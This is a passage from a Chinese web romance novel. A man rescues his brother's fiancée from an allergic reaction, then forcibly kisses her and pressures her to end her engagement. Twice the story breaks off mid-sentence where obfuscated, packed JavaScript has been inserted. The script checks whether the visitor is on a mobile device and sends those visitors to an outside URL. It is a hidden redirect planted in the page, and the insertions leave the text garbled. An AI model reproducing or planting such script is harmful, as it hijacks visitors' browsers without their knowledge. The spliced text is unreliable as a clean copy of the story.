她觉得以前都是自己有眼无珠,蔺承则明明是个大好人! 蔺逸远似乎意识到这话的不合适,像霜打的茄子一样蔫巴巴的,小声嘀咕着:“不过,我是真的想娶昭昭。” “好了好了,先不说这事了,吃饭吃饭。”奶奶适时地开口打圆场。 吃过饭,本来蔺逸远应该送黎清昭回家,可外面的雨势越来越大,雨滴砸在地上腾起一阵水雾,远处黑云压上,电闪雷鸣,不是个开车的好天气。 因为担忧两人的安危,陈玉梅就开口让黎清昭像小时候一样在家里留宿一宿,“等明天再让逸远送你回去,正好今儿晚上陪奶奶唠唠嗑。你呀,都多久没来家里了,奶奶整天跟我念叨你。” 黎清昭点头应下。 家里的阿姨很快收拾出一间客房让黎清昭休息。 蔺逸远把她送上楼,捏了捏她红扑扑的小脸,“你先洗个热水澡,别着凉,等待会儿我来陪你,咱们再打两把游戏。” “嗯。” 黎清昭是在快洗完澡的时候才意识到不对劲儿的。 她呼吸困难、喉咙发紧、心跳加速、皮肤瘙痒……这种感觉像是要死了一样。 黎清昭用胳膊擦了擦被雾气笼罩的镜子,发现自己的小脸红得不成样子。 即使已经多年没中过招了,黎清昭还是清楚地意识到自己是花生过敏了。 她十岁的时候就因为蔺逸远一盒花生蛋糕进过医院,时至今日,她还记得那种濒死的感觉。 求生的本能在作祟,黎清昭连忙把浴袍裹在身上,推开门就去叫人,甚至没看清眼前的人是谁,她就死死抓住蔺承则的胳膊,呼吸艰难地说:“救我!” 7. 强吻她 蔺承则几乎下一秒就反应过来发生了什么,他弯腰抱起黎清昭,就匆匆忙忙地下楼。 偌大的别墅里,只有男人的脚步声混杂着外面的雨声在回响。 蔺承则临出门的时候,抬手拿了件黑色的大衣,将怀里的姑娘牢牢地裹住,“清昭,别怕,我送你去医院。” 黎清昭整个人缩成一团窝在一起,额头抵在车座上,那两只小手开始肆无忌惮地挠来挠去,从脖颈,到胸脯。 这种方式大概能缓解她的难受感,她越挠越用力,蔺承则透过后视镜可以清晰地看到,她白嫩的肌肤上落下一道又一道的红痕。 “清昭,乖,忍一忍,别挠。”他哄着她,目光却紧紧盯着前方。 今天的雨太大了,雨水在挡风玻璃上形成一道幕布,雨刷器再用力,他的视线也不分明。天的那边一道紫色的闪电划破云层,随后传来轰隆隆的雷声。 天气实在是糟糕,路上的车辆无几。 蔺承则知道他不应该把油门踩到底,很容易出意外。他这个人最不喜欢超出掌控范围的事物。 可他却不得不拼命,乞求着能快一点再快一点到医院。 蔺家的别墅在近郊,实在是有些远。 他知道过敏是能死人的,他不想拿黎清昭的命来做赌注。 “清昭,你听话一些,很快就到医院了。” “昭昭,别睡。” 他双手握着方向盘,这两句话翻来覆去地安慰着她。 “好孩子,我给你放一首歌好不好?” 黎清昭当时意识已经开始模糊,喉咙的肿胀感越发强烈,她手死死地掐着脖子那块嫩肉,想要呼吸得再通畅一些。 她甚至都觉得她要窒息而死了。 阎王是不是又命令小鬼来索她的命了? 她好像还没死呢。 因为她听到了舒缓的音乐声传进她的耳朵里,是她最喜欢的一首古风歌。 她想阴间大概是听不到这种歌的,这么真切,像是一股力量,硬生生地拽着她,把她从小鬼手上夺回来。 把黎清昭送到医院具体用了多长时间,蔺承则自己也不知道,他只知道把她送到医院之后,整个人的大脑都处于放空状态。 男人的衣服早已经被雨水打湿,发丝凌乱,雨水顺着鬓角一滴一滴地滑落。蔺承则长叹一口气,缓缓地捂住脸,坐在冰凉的蓝色塑料椅子上。 医院好像是个永远都很繁忙的地方,即使是雨夜,他面前依旧有很多人来来往往地不停穿梭。 蔺承则记忆中来医院的次数不多,上一次还是他爷爷去世的时候。蔺老爷子是肺癌晚期,弥留之际,家里这些小辈齐聚一堂,送他最后一场。 再往前,蔺承则其实已经记不太清了,他平时清醒的大脑此刻一片混沌。 他又想起大概是十年前,也是在蔺家,黎清昭误食了一盒小蛋糕被送进了医院。当时这盒蛋糕是蔺逸远亲手给她的,她过敏之后,也是蔺逸远鼻涕一把眼泪一把哭着找到他,哽咽说大哥你快送昭昭去医院。 那时候她就轻飘飘的。 如今十年过去了,就好像没长什么体重似的。 “大哥!昭昭呢!”蔺逸远将他从思绪中拉出来。 蔺承则抬眸,双眼猩红,虹膜像是被撕裂一般,他起身攥住蔺逸远的衣领,把他滴在冰冷的墙面上,“到底是怎么回事?” “好端端的人怎么就过敏了?” 蔺承则始终记得黎清昭花生过敏这件事,他也知道蔺逸远是个粗心大条的人。他不指望蔺逸远能记得前阵子家里新换了一个厨师,所以他特意提前打电话回家,千叮咛万嘱咐黎清昭花生过敏,做菜的时候千万不要加任何含花生的东西。 他不放心新来的厨师,又特意告诉在蔺家待了多年的阿姨,让她事先都要检查一遍。 他就这样千防万防,结果她还是吃了花生。 刚刚蔺承则就一直在想,她究竟吃了什么东西。后来他想明白了,罪魁祸首应该就是蔺逸远亲手给她榨得那杯果汁。 蔺逸远没有反抗,懊恼地看向男人,“对不起,我忘记了,我忘了昭昭花生过敏这件事。我觉得加一下花生会更好喝一些。” 蔺承则挥手一拳打在了他的右脸上,“人命关天的事,你就这么散漫,这件事你也敢忘!你什么时候能对她再上心一些?” 蔺逸远像是一滩烂泥一样堆在墙上,他捂着脸,绝望地哭了出来。 蔺承则最讨厌他这副鬼样子,只会事后忏悔,却从来不长记性。他骤然松开他的衣领,往后退了一步,冷漠地看着他一点一点滑落到地上。 蔺承则拍了拍手,从裤兜摸出手机,打电话让人给黎清昭送换洗的衣物。 这个晚上闹得蔺家鸡犬不宁,没多久,蔺岱山和陈玉梅也开车赶到了。陈玉梅心疼儿子,看到蔺逸远脸上的伤,连忙捧起他的脸,“这是怎么闹的?” 蔺逸远抬手就往自己脸上扇巴掌,“都怪我!是我害了昭昭!” 陈玉梅眼圈通红,连忙死死攥住蔺逸远的手,“好了好了,妈知道你不是故意的,别打了,别打了。” 蔺承则见状,一言不发地走到一旁,他觉得蔺逸远这种人就不配和黎清昭在一起。 他只会让她心爱的女人一而再再而三地陷入危险境地。 - 好在黎清昭被送医院送得及时,捡回了一条性命。 她醒的时候天空已经泛起了鱼肚白,下了一夜的雨也终于停了,偏过头望向窗外,还雾蒙蒙的。 黎清昭的眼睛很不舒服,因为过敏,她的两个眼皮肿得像是核桃似的,睁开都费劲儿。她想抬手揉一揉眼睛,轻轻一动,趴在床边的蔺逸远骤然惊醒。 他失而复得地攥住黎清昭的手往他的脸上按,“宝宝,你醒了。” 黎清昭嘴巴动了动,他就知道她是渴了,立刻用棉棒沾了些水擦在她的嘴唇上。 “宝宝,对不起!” 黎清昭的眼尾滑落一滴泪,她又闭上眼睛,一言不发。 蔺逸远知道她又生气了。 可这次千错万错都是他的错,他怕她跟自己提分手,怕她不要他,只能把她的小手攥得再紧一些,用指腹去擦她眼角的泪花。 两人就这样无言相对地熬过了观察期,熬到天光大亮。 黎清昭的哥哥黎执渊一听自家妹妹差点儿丢了小命,连忙带着妻女来医院。 黎清昭见到小侄女黎思逾来,终于露出一个笑模样,“小鱼宝宝。” 黎思逾今年已经三岁了,正是讨人嫌的年纪。若是平时见到黎清昭,指定得缠着她陪自己捉迷藏、过家家。 可她今天却格外贴心,直接蹬掉脚上的凉鞋,爬到床上,两只肉嘟嘟的小手捧起黎清昭的脸,“小姑姑,疼不疼呀?” “小姑姑不疼呀。”黎清昭抬手去玩儿她的小辫子。 “那你肯定是撒谎了,脸都肿成包子了,怎么可能不疼?你不疼,小鱼都要心疼死了。” 黎思逾突然想到什么,在床上爬起来,目光扫过周围的人。 病房里除了她的父母,此刻就剩蔺承则和蔺逸远。 她对蔺承则不太熟悉,打量着看了一眼,转头就像小老虎一样朝着蔺逸远跑过去。 平时黎清昭和蔺逸远没少带她出去玩儿,蔺逸远以为她要抱抱,自然地张开手臂。结果黎思逾压根不领情,小拳头对着他就是一顿暴打,“你坏死了!坏死了!坏死了!我再也不要管你叫小姑父了!” 陈玖连忙把女儿抱在怀里,安抚小丫头的情绪。她知道,这是他们打电话说的事都被女儿听到了耳朵里。 蔺承则见状,不由自主地勾了勾唇,拍了拍黎执渊的肩,把他叫到了外面。 蔺承则比黎执渊还大一岁,两人自幼一起长大,又在生意上有往来,算是旧交。 “怎么?单独叫我出来是为了替你弟弟解释?”黎执渊轻哂一声,“你知道的,我自始至终就不支持他们两个在一起,老爷子当年是老糊涂了,才随口给我妹妹定了门娃娃亲。这门亲事,黎家随时都有毁约的权利。若不是看昭昭和他在一起开心,我这个当哥的就不可能妥协。” “结果现在呢?你们蔺家人就是这么欺负我妹妹的?” 黎执渊是个护妹狂魔,母亲去世的早,后来父亲又娶了续弦,可以说,黎清昭是他这个当哥哥的一手带大的。 蔺承则敛眸,“没想解释,这是不争的事实。” “蔺总倒是轻描淡写,敢情躺在里面的不是你妹妹!”黎执渊脸色很难看。 蔺承则拍了拍他的肩膀,“我喊你出来,就是想和你商量一下两家的婚事。” 黎执渊觉得他在火上浇油,匪夷所思地看着他,“我妹刚在你家出了这事,你们家还好意思提婚事?” 蔺承则扶了下镜框,“那算了,这事改天再说。” 黎执渊轻哂一声,拂袖离开。 - 黎清昭一整天都没理蔺逸远,任他如何在自己面前刷存在感、如何讨好她,她都无动于衷。 如果说以前两人吵架算是小打小闹,那这次,她就是动真格的了。 以前她只觉得蔺逸远是个神经大条,不细致,没什么耐心,今天她才发现,他其实可能没有她想象中的那么在乎她。 否则,爱一个人,怎么可能连她最致命的过敏源都能忘记呢? 蔺逸远亲手给她榨的那杯果汁,像是砒霜,把她毒得半死,也让她第一次对他们的感情产生怀疑。 蔺逸远使出浑身解数,黎清昭也不理他,早晨醒了和他提过分手以后就把他当做空气。他有些泄气,便去请教蔺承则。 后者只是说:“光是上下嘴唇一碰,肯定是没用的。既然是道歉,就要拿出些诚意来。” 蔺逸远思索了两分钟,灵光乍现,“哥!我知道了!瓶子!” 他委托蔺承则今晚帮她在医院盯一下黎清昭,人就急匆匆地离开了。 晚上,黎清昭半夜起来上厕所,才发现陪床的人变成了蔺承则。 刚看到男人那一眼,她还吓了一大跳,“大哥,怎么是你?” 蔺承则解释:“逸远有些急事,让我陪你。” 孤男寡女共处一室,黎清昭那股别扭感又涌上了胸口,“没事儿,我已经好的差不多了,您回去休息就行,这边还有护工陪我呢。” “清昭,用完人就往外赶吗?”男人的声音很低沉,夹杂着一丝疲倦。 其实从昨晚到现在,他两只眼睛都没合上过,就一直这么陪着她,听着医生亲口说病人脱离了生命危险,亲眼看着她醒过来,看着她能吃东西,看着她又生龙活虎地和蔺逸远吵架…… 他明明在这段感情里是个局外人,可他却倾尽了百分之百的热情。 他以前从不觉得这些付出算得了什么,可今天,看着她还有些泛红的小脸,看着那双透彻的映衬着他身影的眼眸,他突然很想很想索取一些回报。 他迫切地需要她的反馈。 于是他似乎忘了这样横冲直撞会吓到她,还是不由自主地往前迈了一步,和她之间的距离陡然只在咫尺之间。 黎清昭又闻到了那个雪松味,还有淡淡的烟草味。 这股味道极具侵略性,完全将她裹挟。 黎清昭舔了舔发干的嘴唇,往后退了一步,腰直接抵在了病床的栏杆上,“大哥,我…我非常感谢你昨晚救了我。要不是你,我恐怕命都没了。” 蔺承则其实最不喜欢她跟他说这些客套的官话,非常生硬、生分。 可他又珍惜她一口气和他说了这么多话,因为以前,两人的交集实在是少得可怜。 她对他,永远避之如瘟疫。 “怎么感谢?”他问。 黎清昭咽了咽唾沫,一时间脑子转不过弯来,平时伶牙俐齿的她却只吞吞吐吐地说:“大哥想要我怎么感谢?” 蔺承则轻叹一口气,商量着说:“别再那么怕我,好吗?” “我没有。”她条件反射地反驳。 他几乎被气笑了,“那你见到我发什么抖啊?” 黎清昭这才意识到她的声音都有些发颤。 后来她彻底掉进蔺承则的陷阱,被他这只大灰狼生吞活剥,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126447|196095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才意识到,她这一晚为什么会对他产生恐惧。 那是因为,他看她的眼神带着一股势在必得的架势,就像草原上的野狼面对着自己的猎物。 不容人反驳,不容人抵触。 否则,一刀毙命。 “我没有。”她找借口,“我只是有些冷,一定是空调温度调得太低了。” 她转身去找遥控器,连按了好几下,又趁着蔺承则不注意,躲进了卫生间。 医院的vip病房隔音也不算太好,蔺承则能清楚地听到她故意放着水,在里面给蔺逸远打电话。 黎清昭一边看着手机一边骂蔺逸远这个狗东西,怎么这么不靠谱,大半夜为了自己图清闲直接把她扔给了他哥。 他根本不知道,两个不太熟的人共处一室有多么尴尬、多让人崩溃。 饶是蔺承则是她的救命恩人都不行。 黎清昭不明白,蔺逸远这个人是不是脑子有问题!这种奇葩的安排都能做出来。 他要是不想照顾她,干嘛非要强行留下,还跟着她的哥嫂拍着胸脯说保证会照顾好她。 啊啊啊! 黎清昭穿着拖鞋在地板上狠狠地跺了两下。 可等了半天,蔺逸远没接电话。 他总是这样,在关键时刻掉链子,在她最需要他的时候不出现。 “清昭,怎么了?”蔺承则故意坏心眼地去敲门。 黎清昭吸了吸鼻子,“没事。” 她又对着镜子看了眼自己的脸,还是个大猪头,还没完全消炎,心情又不好了。 于是,黎大小姐瘪着嘴巴蔫巴巴地拉开门出来。 “怎么了?”蔺承则又问了一遍。 黎清昭摇了摇头,灰溜溜地躲到床上,掀起被子,把自己裹得严严实实,连头都没露出来。 “大哥,我要睡了。”她闷闷地说,眼泪又不自觉流了下来。 她可是最爱臭美的,她的脸蛋、她的身材出一点儿问题不行。别看黎清昭看上去是个懒懒散散的性格,可为了变美,她坚持一周四次普拉提呢。 蔺承则抬头瞄了一眼她,看到她这个鹌鹑样,轻叹一口气。 “那我在沙发上开电脑工作一会儿你介意吗?” “不介意,你随意。” “好,那你有事叫我,别客气。” “嗯。” 蔺承则说完便将注意力从她身上转移到电脑上。 他这人其实自制力很强,又是个工作狂,鲜少在工作的时候被分散注意力。 可即使他再逼自己专注,还是控制不住去听她的动静。 他知道,她一直没睡着,躲在被窝里动来动去,翻来覆去。 他能听到她细微的呼吸声。 还有…… 啜泣声。 蔺承则把电脑合上,病房里最后一道光源也消失,只有窗外皎洁的月光和透过楼道渗透进来的灯光。 不过,也足够了。 足够他看清她的脸了。 蔺承则站在床边,轻轻碰了碰被子。 黎清昭像是被触碰到敏感的神经一样,又憋的半死,一动不动。 蔺承则把她的被子掀开,让她把脸露出来,只见她把白色的枕头都哭湿了。 “哭什么?” 黎清昭还是很要面子的,捂住脸不让他看,“没哭。” 蔺承则轻笑了声,顺着她说:“行,没哭。” 他直起腰来,搬了把椅子放在床边,坐下,和她面对面,“那既然睡不着,就陪你的救命恩人聊聊天,好吗?” “救命恩人”这个词对她还是很管用的。 黎清昭一个扑腾从床上坐起来,“聊什么?” 蔺承则看了眼她的唇,情不自觉地喉结滚动,“刚刚你问我怎么报答我,我说让你别怕我,你不承认。那我现在换一个条件,告诉我你为什么哭好吗?” 黎清昭不说话,她才不会承认自己是被自己丑哭的,当然,还有和蔺逸远闹别扭的委屈。 “其实你这样也很美。”他像是洞察到她的心事一般,毫不吝啬地夸赞她,“很多人喜欢你,不是只喜欢你的脸蛋。” 黎清昭反而有些不好意思,觉得也许是自己太过矫情、太过敏感了。 “清昭。”蔺承则见她心情好了一些,压低声音叫她,“刚刚的问题你又没回答我,那我再换一个报酬好吗?” 黎清昭觉得他要求好多,好烦,但又碍于自己现在手无缚鸡之力,不敢忤逆他,只能挑着眼皮看着他。 蔺承则身体前倾,距离她更近一些,“和逸远彻底分手。” 黎清昭懵了,她显然没想到蔺承则会提出这么荒唐无理的要求。 他这个身份不合适。 暂且不说他们分手对他有什么好处。 他们分不分手关他这个当哥哥的什么事! 蔺承则不指望她能回应,她纠结茫然的神色落入他的眼中。 蔺承则抬手摘掉眼镜随手扔在一旁,逼着她直视他的眼睛。没有那层镜片的过滤,黎清昭发现,蔺承则冷漠薄凉的眼神中掺杂着一股说不清道不明的情/欲。 这欲/望,貌似是针对她的。 黎清昭连忙缩了缩脖子,如醍醐灌顶一般,她瞬间明白了蔺承则带给她的那股侵略感。 那不是她的错觉,而是因为,他确实一直在觊觎她,觊觎他亲弟弟的未婚妻。 黎清昭觉得世界崩塌了,她试图叫他“大哥”,以此来唤醒他的理智。 可他却是个彻头彻尾的疯子,在捅破这层窗户纸之后,反而更加肆无忌惮。 在他的眼中,压根没有道德伦理可言,他也丝毫不在意任何人的评价。 他自始至终只有一个诉求—— 得到她。 名正言顺也好,不择手段也罢。 他只有这一个诉求。 蔺承则挡住她的退路,从椅子上起来,俯身逼近她。 他用粗粝的指腹捏住她的下巴,看着她慌乱无措的眼睛,狠狠地堵住了她的唇。 从此之后,他再也没有退路。 8. 老混蛋 黎清昭打死也不相信蔺承则竟然会强吻她,还吻得这么激烈。他的掌心紧紧地桎梏着她的后脖颈,强势地撬开她的嘴巴,勾住她的舌头,亲得她舌根发麻。 人都是趋利避害的,黎清昭条件反射地往后躲、往后逃,可男人不愿意放过她,此时此刻的她手无缚鸡之力,只能死死地咬住他的嘴巴,用锋利的牙齿将他刺伤。 血腥味在两人的口腔中蔓延。 蔺承则察觉到疼了,但他依旧没放开她,他像是一只饿久了狼,死死地困住自己的觊觎已久的姑娘。 “混蛋!”黎清昭来了脾气,双手攥成拳头捶打他的胸口,趁他一个不注意,抬手一巴掌打在了他的右脸上。 夜晚是寂静的,巴掌声格外响亮。 黎大小姐再刁蛮顶多也是使使小脾气,从来没有抬手打过人,还是一巴掌打在了脸上。 室内的光线是幽微的,黎清昭瞪着浑圆的杏眼打量着他的表情和脸上的巴掌印。 可他偏偏面无表情,只是静静地看着她。 黎清昭不愿意服软,况且刚刚那个吻本来错的就是在他,是他没经过她的意愿强迫她的。 虽然在激烈的博弈中,她的肾上腺也在攀升。 可她不可能白白吃亏。 “那是你活该!”她忿忿地说,人还是有点怕他,手拎着被子把自己挡得严严实实。 “你就不怕我告诉我爸、告诉我哥、告诉逸远吗?” 蔺承则看着她还有些发肿的小脸,看着被他蹂躏得通红的嘴唇,轻叹了一口气。 刚刚确实是他没有理智了。 大概是吓到她了。 其实他也不清楚,为什么他自制力这么强的人,碰到了她理智就会分崩离析。 “你个老混蛋!我要报警,说你非礼我!我还要告诉逸远、告诉蔺叔叔、还有奶奶,说你欺负我!”她指责他,像是森林里迷路的小鹿一样找自己的手机。 蔺承则眼疾手快地夺过她的手机,轻哂一声,“想先告诉谁,我帮你讲?告诉逸远,你觉得我怕他?” 他其实最讨厌她在他面前提蔺逸远,他也不喜欢她用蔺逸远来威胁他。 “你觉得我既然敢这么做,我可能怕他吗?”他直接戳穿这个事实。 “清昭,我不介意你告诉逸远或者任何人我们接过吻的事实,任何的流言蜚语我都承担得起。可你呢?你愿意承担吗?如果你愿意承担的话,上一次你喝醉酒做的那些事,你怎么不敢和逸远坦白呢?” 黎清昭吸了吸鼻子,眼中瞬间染上一层水雾。 眼前这个男人撕开那层衣冠楚楚的外表,分明是一个禽兽。 他太过了解她了,把她的想法摸得透彻,懂得打蛇打七寸,所以肆无忌惮地威胁她。 难不成她要硬生生地咽下这个哑巴亏? 黎清昭用手背狠狠地擦了擦嘴巴,澄澈的眸子流露出对他的反感。 蔺承则无动于衷,俯身捡起扔在一旁的眼镜重新戴上。 一瞬间,男人又恢复了那副矜贵斯文的模样,仿佛刚刚发疯的人不是他。 黎清昭看着他重新坐在椅子上,和她面对面。大概过了两秒,他开口,“清昭,我承认我是喜欢你。所以,既然已经和逸远分手了,就和我在一起好吗?你知道,逸远从来不是个细心的人,他照顾不好你。” 黎清昭轻哂一声,“我和他之间的事不用你来管!就算我和他分开,我也不会和你在一起,你个死变态!老混蛋!老王八蛋!” 蔺承则被她骂笑了,“头一次听你骂人,怎么这么伶牙俐齿?” 黎清昭快要被他没脸没皮的程度给气哭了,他居然还有心思在这和她调情。 坏东西! 黎清昭吸了吸鼻子,顺手捞起枕头就往他身上砸,“滚出去,我再也不要看见你!道貌岸然的伪君子!衣冠楚楚的死变态!” 蔺承则蹙了蹙眉,夺过枕头扔在床上。 他想怎么就把她气成这样了呢? 这不是他的本意。 他不希望她不开心。 他觉得她这样的姑娘就应该成天乐呵呵的。 “清昭。” “别叫我的名字!”她又用力擦了擦嘴,把本就鲜艳的嘴唇摩擦得像是要滴血。 蔺承则妥协,“清昭,我可以不逼你,但是你得答应我不许再和逸远和好。” 他想和她说,给他一次机会,让他好好照顾他。可看着她这张倔强的脸蛋,这些话他又说不出口。 因为在当下,她丝毫不会领情。 “你别惹我生气,否则后果自负。”他索性一不做二不休,直接当个坏人,当她口中的死变态。 “滚!” 蔺承则推开门出去,轻轻地倚在墙上。vip住院区比较寂静,苍白惨淡的灯光照在他的头顶。 他本想抽一支烟消遣一下,可又想到医院不许吸烟,便无聊地把玩那支烟,粗粝的指腹在上面揉来搓去。 那感觉就像是把她掐在掌心中揉捏。 而黎清昭就没有他这么云淡风轻。 门关上那一刻,她就捂着被子小声啜泣起来,双腿夹着被子就是一顿暴打,仿佛她发泄的对象是蔺承则那个可恶的男人。 她恨死蔺承则了,恨他的粗鲁、霸道、独裁。 可她更恨自己,因为她居然可耻地有些迷恋这种被粗暴又热烈地对待的感觉,就像她骨子里迷恋蹦极、攀岩这种危险的项目。 蔺承则和蔺逸远两兄弟是截然不同的两个人,除了性格,刚刚在吻技上黎清昭也体验了一番。 蔺逸远接吻的时候也会强势,带着血气方刚小男生的急切,用那种毫无技巧的蛮力压制住她,贪婪地对着她索吻,但亲她的时候又总是会磕到她的牙齿或嘴唇。 而蔺承则,明明也是粗暴的,甚至是在精神和体力上都完全压制住她的,她本该觉得恐惧,却轻而易举被他亲得迷失自我。因为他非常有技巧,像个老司机,卷住她柔软的小舌头细细地吮咬,三两下就将她亲得大脑缺氧…… 黎清昭晃了晃脑袋,把那个坏东西从自己的世界甩出去,又开始伤感起来。 她该怎么办? 她不可能白吃这个哑巴亏,虽然她已经扇了他一巴掌。 可她又确实理亏,毕竟是她那晚喝醉先对他动手动脚的。她不希望任何人知道她做的这件错事。 黎大小姐,最要的就是脸面了。 - 黎清昭一整宿都没睡好,后半夜实在熬不住了睡了过去,可还隐隐约约在脑海中反映被他欺负的画面,又开始流眼泪。 她就像小时候一样,半哭半睡熬到了天亮。 中午陈玖来接她出院的时候,还纳闷怎么过了一宿,她眼周更肿了呢? “是不是昨晚又和逸远生气着?”陈玖轻轻抱了抱这个正处于失恋的妹妹,“他是不是又气你着?昨天我说我和你哥留下来照顾你,结果他非要赖在这。赖在这就罢了,怎么又把你弄哭了。” 黎清昭没吭声,紧紧地圈住陈玖的腰,把下巴抵在她的肩膀上,无声地落泪,“嫂子,我……” 她喉咙泛干,硬生生把酝酿半宿的话咽在喉咙里。 她发现,她还没有没皮没脸到那个份上,把自己被坏男人欺负的事说出来。 这是黎清昭身上的软弱性和劣根性,她不愿意承担别人的审判,不愿意把自己的丑事搬上台面,成为其他人茶余饭后消遣的谈资。 黎大小姐无论如何都要风风光光的。 陈玖给她擦了擦眼泪,“不哭了,不哭了,你要是不开心,嫂子支持你分手。你不用把婚约的事放在心上,昨天我和你哥还在说,家里还没落魄到要牺牲你的幸福去联姻的份上。如果你真想好了要和蔺逸远彻底断掉,就让你哥去和爸还有爷爷说,让他们出头去和蔺家商量退婚的事。” “嫂子……”黎清昭听到这话,更委屈了。 “我再想想。”她说。 “好,那我们先回家吧。” 黎清昭出院之后就做了一件大事,把蔺逸远的指纹删了,顺便把他留在家里的东西统统都给扔掉,以儆效尤。 其实别看两人恋爱谈了有一段时间了,但她家里关于蔺逸远的痕迹并不是很重,无非是有他的杯子、拖鞋这类生活用品。 她是一个领地意识很强的人,不喜欢被别人轻易侵入她的生活。 所以现在扔起他的东西来也丝毫不费力。 而被剥夺进门权的蔺逸远见不到她只能干着急。 其实蔺逸远在她出院的那天晚上给她打电话,说:“宝宝,我进不来,你给我开门,我给你一个惊喜。” 当时黎清昭甚至不想纠结花生过敏或者两人分手的事,她只想问蔺逸远,为什么那天晚上要抛下她,要让蔺承则照顾她。 蔺逸远以为她在意的是他没有陪床,徒劳无功地解释:“因为我惹你不开心了,所以我想哄哄你,我找到了一个非常非常好看的瓶子,你一定会喜欢的。宝宝,别生气了,让我看看你好不好?给我一个将功补过的机会。” 黎清昭越听越觉得心烦,撂掉电话抓了抓头发,又把蔺逸远拖进黑名单。 他根本就不懂她。 可她还是很爱他。 那段时间,黎清昭一直沉浸在戒断分手和远离蔺承则的情绪中。 可奇怪的是,将近小一个月的光景,蔺家这对兄弟真的就再也没出现在她的世界。蔺逸远没再来纠缠她,蔺承则也没来威胁她。 她的生活好像恢复了平静,渐渐淡忘那晚那个缠绵悱恻的吻,偶尔回想起和蔺逸远小时候爬山下河的事。 小时候的蔺逸远对她可是真好,总是“清昭妹妹”这样叫她。她当时比周围的孩子都小一些,那些大孩子不愿意带她玩儿,只有蔺逸远会牵着她肉嘟嘟的小手,或者把她背在背上,带着她融入孩子群。 “蔺逸远,你是在背你未来的老婆吗?”当时那群孩子总是这样调侃。 黎清昭其实还不太懂这回事,但她记性好,她记得蔺逸远耳朵都红了,羞涩却理直气壮地承认,“是又怎么了?” 黎清昭发现人真是好了伤疤忘了痛的生物,短短一个月的时间而已,她就快要忘了花生过敏的窒息感,剩下的只是那股盘亘在心底的酸涩。 - 黎清昭再次见到蔺逸远是在接小侄女黎思逾从舞蹈班下课的时候。 哥嫂公司忙,委托黎清昭接送小侄女。 黎思逾那天不想回家,非闹着要去找爸爸。黎清昭折腾不过这个会撒娇卖萌、打滚撒泼的小喇叭,只好妥协着把她送到黎氏集团,送到总经理的办公室。 秘书自然认识黎清昭和黎思逾,说黎总正在忙,让姑侄俩在办公室等会儿。 黎清昭陪黎思逾玩了会儿乐高,见黎执渊结束,就溜之大吉。结果没想到刚出门,就碰到了蔺逸远。 挺长时间没见,他的脸瘦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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男人穿了件黑衬衫,没系领带,俨然是刚刚经历过一场比较随意的聚会。 蔺承则显然也注意到了两人。 他的目光直接落在黎清昭身上。她今天穿了一条渐变蓝白的吊带长裙,裙摆层叠如海浪。上半身是清透的浅蓝,腰间缀着精致蕾丝与流苏,向下渐变为皎洁的白色,刺绣花纹若隐若现。 蔺承则挑了挑眉,视线上移,立刻就注意到了黎清昭那副紧张、恐惧的表情。 他其实有些后悔那天晚上强吻了她,虽然是真的爽到了,但却让她对他的抵触心更强了。 本来她就觉得他是冷面阎王,城府深沉,现在一定觉得他是个彻头彻尾、只会强迫人的混蛋。 所以他选择了循序渐进,这段时间一直没出现在她面前逼迫她,毕竟她也不是好惹的。他怕真把人逼急了,她更厌恶他。 可他没想到,她真是个不折不扣的恋爱脑,一颗心都放在了他弟弟身上,明明差点被他害的小命都丢了,偏偏还记吃不记打,又来和他约会。 他那天和她说的话显然被她当作了耳旁风。 蔺承则勾了勾唇,叫了声“逸远”。 “哥,你怎么也在这儿?” “有个局。”他淡淡地解释,“你呢,和清昭在约会?” 他还在装! 他可真能装,在亲弟弟面前装的像个人似的! 其实背地里什么缺德事都做。 黎清昭气得牙痒痒,真想敲一敲蔺逸远这个笨蛋的头,他还把他哥当什么玉树临风的谦谦君子呢? 当个毛线! 黎清昭攥紧拳头,挤出一个笑,“对啊大哥,我和逸远在约会,就不劳您多费心了。” 蔺承则怎么会听不出来她在故意讽刺敲打他,他只是轻笑了笑,只是关心地问她:“过敏已经好利索了?一定得记得花生不能再吃。” 黎清昭讨厌他这副云淡风轻的样子,“不好意思,我先去趟洗手间。” 她本意是想躲一躲蔺承则,等他走了,她再和蔺逸远聊。可没想到,她低估了蔺承则的厚脸皮程度,他居然直接追到了卫生间门口,随手摆弄着打火机等待她。 黎清昭刚一出门,就被他堵住。 她往左走,他也往左走。她往又挪,他也往右挪。 “你到底想干什么?” “清昭,我是不是和你说过和逸远彻底分手?”他似乎有些无奈,她怎么就偏偏不长记性,非要一棵树上吊死呢? 黎清昭往前踏了一步,倔强地看着他,“第一,我和逸远分手也好,和好也罢,都是我自己的选择,和大哥你没有一毛钱关系。第二,我喝醉亲了你一次,你也强迫了我一次,我们两不相欠。” “如果我说不呢?”他无奈地说,语气却咄咄逼人。 黎清昭低头看着擦得锃亮的地板,红着眼挑衅他:“我和逸远和好了,你死了这条心吧。我们会在一起,会结婚,会生孩子。我们未来的孩子会管你叫大伯,我希望大哥注意自己的身份,不要自讨没趣做掉架的事。” 说完,她踩着小高跟扭身就走,带着一股踩在他头上、将他一军的快感。 她凭什么怕他?他再牛能牛到什么份上,她就喜欢在老虎头上拔毛。 黎清昭不喜欢被人拿捏,所以她故意刺激他,甚至拿出蔺逸远来堵住他对她不该有的心思。 她甚至真的觉得,只要她和蔺逸远和好了、结婚了,她身后这道虎视眈眈的视线就会消失。 可是她错了。 甚至因为她的这两句不负责任的气话,逼得蔺承则直接撕碎了一切的廉耻道德,直接上门提亲。 9. 抢亲 黎清昭再次见到蔺承则是在黎老爷子的生日宴上。 在此之前,她和蔺承则这个老混蛋一直保持着一种相对安全的距离,她没再像上次那样厚颜无耻地挡住她的出路、逼她和蔺逸远分手。 